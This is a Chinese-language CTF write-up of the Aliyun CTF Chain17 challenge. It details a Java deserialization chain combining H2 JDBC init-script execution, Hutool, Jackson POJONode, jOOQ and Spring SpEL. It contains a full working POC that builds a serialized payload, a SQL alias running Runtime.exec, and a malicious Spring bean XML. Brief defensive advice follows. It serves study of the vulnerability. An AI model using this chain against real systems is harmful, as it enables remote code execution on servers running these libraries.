aliyun ctf chain17 回顾(超详细解读)
字数 1065 2025-08-22 12:22:30
Aliyun CTF Chain17 漏洞分析与利用详解
漏洞概述
本文详细分析Aliyun CTF Chain17题目中涉及的漏洞利用链,主要涉及H2数据库JDBC攻击、Hutool工具库中的不安全反射使用以及Spring框架的XML外部实体注入漏洞。
核心漏洞点
1. H2数据库JDBC攻击
H2数据库允许通过JDBC URL执行初始化脚本,攻击者可以利用此特性执行任意命令:
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';
CALL EXEC('calc');
攻击POC:
String url = "jdbc:h2:mem:test;init=runscript from 'http://localhost:7777/poc.sql'";
Class.forName("org.h2.Driver");
DriverManager.getConnection(url);
2. Hutool工具库中的不安全使用
Hutool的PooledDSFactory类可以被利用来触发H2 JDBC攻击:
String url = "jdbc:h2:mem:test;init=runscript from 'http://localhost:7777/poc.sql'";
Setting setting = new Setting();
setting.set("url", url);
PooledDSFactory pooledDSFactory = new PooledDSFactory(setting);
pooledDSFactory.getDataSource().getConnection();
关键点:
- 使用
initialSize参数可以立即触发连接:setting.put("initialSize", "1");
3. 反序列化利用链
3.1 Jackson利用链
通过Jackson的POJONode触发toString()方法:
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();
POJONode pojoNode = new POJONode(pooledDSFactory);
pojoNode.toString();
3.2 AtomicReference利用链
利用AtomicReference的toString()方法触发:
Object object = new AtomicReference<>(pojoNode);
JSONObject jsonObject = new JSONObject();
jsonObject.put("aaa", object);
3.3 Hessian序列化
使用Hessian序列化时需要注意写入方式:
hessian2Output.writeMapBegin(JSONObject.class.getName());
hessian2Output.writeObject("whatever");
hessian2Output.writeObject(object);
hessian2Output.writeMapEnd();
4. Spring框架SPEL注入
通过ClassPathXmlApplicationContext加载恶意XML实现RCE:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('open -a Calculator')}"/>
</bean>
</beans>
触发方式:
new ClassPathXmlApplicationContext("http://127.0.0.1:7777/poc.xml");
完整利用链分析
1. EventListenerList -> toString
利用EventListenerList的readObject触发toString:
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList",
new Object[]{InternalError.class, undoManager});
2. toString -> 任意get
通过Jackson的POJONode将toString转换为任意get方法调用。
3. 任意get -> newInstance
利用jOOQ库中的Convert$ConvertAll.from()方法实现任意类实例化:
Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
Object table = constructor1.newInstance();
Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
Object tableDataType = constructor2.newInstance(table);
Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
Object val = constructor3.newInstance("whatever", tableDataType, false);
Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
Object convertedVal = constructor4.newInstance(val, tableDataType);
Object value = "http://127.0.0.1:7777/poc.xml";
Class type = ClassPathXmlApplicationContext.class;
ReflectUtil.setFieldValue(val, "value", value);
ReflectUtil.setFieldValue(tableDataType, "uType", type);
完整POC
public class PocServer {
public static void main(String[] args) throws Exception {
gen("http://127.0.0.1:7777/poc.xml");
}
public static void gen(String url) throws Exception {
// 构造H2 JDBC攻击
String jdbcUrl = "jdbc:h2:mem:test;init=runscript from 'http://localhost:7777/poc.sql'";
Setting setting = new Setting();
setting.set("url", jdbcUrl);
PooledDSFactory pooledDSFactory = new PooledDSFactory(setting);
// 修改Jackson的BaseJsonNode类
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();
// 构造jOOQ利用链
Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
Object table = constructor1.newInstance();
Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object tableDataType = constructor2.newInstance(table);
Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
constructor3.setAccessible(true);
Object val = constructor3.newInstance("whatever", tableDataType, false);
Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object convertedVal = constructor4.newInstance(val, tableDataType);
Object value = url;
Class type = ClassPathXmlApplicationContext.class;
ReflectUtil.setFieldValue(val, "value", value);
ReflectUtil.setFieldValue(tableDataType, "uType", type);
// 构造POJONode
POJONode pojoNode = new POJONode(convertedVal);
// 构造EventListenerList链
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList",
new Object[]{InternalError.class, undoManager});
// 生成序列化数据
byte[] data = SerializeUtil.serialize(eventListenerList);
System.out.println(Base64.getEncoder().encodeToString(data));
}
}
防御措施
-
H2数据库安全配置:
- 限制H2数据库的JDBC URL参数
- 禁止从远程加载初始化脚本
-
Hutool安全使用:
- 避免使用不安全的反射方法
- 对
PooledDSFactory的URL参数进行严格校验
-
反序列化防护:
- 使用安全的序列化框架
- 实现
ObjectInputFilter限制反序列化类
-
Spring安全配置:
- 禁用SPEL表达式
- 限制XML外部实体加载
总结
本漏洞链综合利用了多个组件的安全问题,从H2数据库的JDBC攻击到Hutool的不安全反射,再到Spring框架的SPEL注入,展示了复杂漏洞链的构造思路。理解这些漏洞的本质和利用方式,有助于我们更好地防御类似攻击。